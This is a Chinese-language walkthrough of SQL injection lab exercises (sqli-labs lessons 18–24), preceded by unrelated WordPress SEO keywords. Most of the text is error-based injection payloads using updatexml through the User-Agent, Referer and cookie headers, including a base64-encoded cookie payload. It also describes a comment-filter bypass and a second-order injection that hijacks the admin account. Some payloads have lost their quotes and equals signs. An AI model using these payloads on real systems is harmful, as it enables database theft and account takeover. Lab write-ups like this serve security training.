wordpress 多语言建站,网站建设卖手机代码,wordpress百度时时推送,网站设计维护员【less-18】
打开时#xff0c;获取了自己的IP地址。#xff0c;通过分析源码知道#xff0c;会将用户的user-agent作为参数记录到数据库中。 提交的是信息有user-Agent、IP、uname信息。 此时可以借助Burp Suite 工具#xff0c;修改user_agent#xff0c;实现sql注入。…【less-18】
打开时获取了自己的IP地址。通过分析源码知道会将用户的user-agent作为参数记录到数据库中。 提交的是信息有user-Agent、IP、uname信息。 此时可以借助Burp Suite 工具修改user_agent实现sql注入。 最后得到数据库名security。
解题步骤
//第一步获取数据库名and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- //第二步获取数据表名and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1),1,1) -- //第三步获取数据表字段and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameemails ),0x7e),1),1,1) -- 【less-19】
与less-18唯一的区别是提交的信息不再是user-agent而是referer。 解题步骤
//第一步获取数据库名and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- //第二步获取数据表名and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1),1,1) -- //第三步获取数据表字段and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameemails ),0x7e),1),1,1) -- 【less-20】 从上图的信息可以看出登录之后记录的信息是类似的根据前两题的经验尝试使用user-agent、referr、cookie信息进行注入。
经过验证将抓包的cookie进行更改 改为 结果为 其他步骤
# 第二步获取数据表名and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1) -- # 第三步获取数据表字段and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameemails ),0x7e),1) -- 【less-21】
通过抓包和源码分析可以得出less-21使用的是cookie而且还是base64加密的。 和Less-20注入原理相同不同的是在修改cookie时先转成base64的值。 先将注入编码进行base64编码。 然后再把编制的码代入到cookie中。 出现错误是因为“-- ”在进行base64编码时出现了问题。
可以将“-- ” 替换为 1 1
具体代码
admin and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- #改为admin and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11#对应的base64编码YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE
调试结果 其他步骤和Less-20类似区别都是要变成base64加密。
# 第二步获取数据表名
admin and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1) and 11# 第三步获取数据表字段
admin and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameemails ),0x7e),1) and 11【less-22】 通过分析源码得知基本Less-21相似唯一的区别就是单引号变成了双引号。
解题步骤和Less-21相同。
#第一步获取数据库admin and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11# 第二步获取数据表名
admin and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1) and 11# 第三步获取数据表字段
admin and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameemails ),0x7e),1) and 11结果 【less-23】
less-23是一种GET方式的注入使用之前的方式发现无法注入分析源码得知之前用的 注释-- 和# 都被替换了空。 此时尝试一种新的注释方式 1 1 以消除原本SQL语句中的引号。
解题方法
# 获取数据库名and updatexml(1,concat(0x7e,(select database()),0x7e),1) or 11# 获取数据表名and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase()limit 0,1),0x7e),1) or 11# 获取数据字段and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schemadatabase() and table_nameemails limit 0,1),0x7e),1) or 11
结果为 【less-24】
less24是一个二次注入的案例。
分析源码 可以看出只有用户名username没有用mysql_real_escape_string()对特殊字符进行转义。
解题步骤
1.注册admin用户 2.登录并修改admin密码 3.尝试使用admin账号和新密码登录破解管理员账号。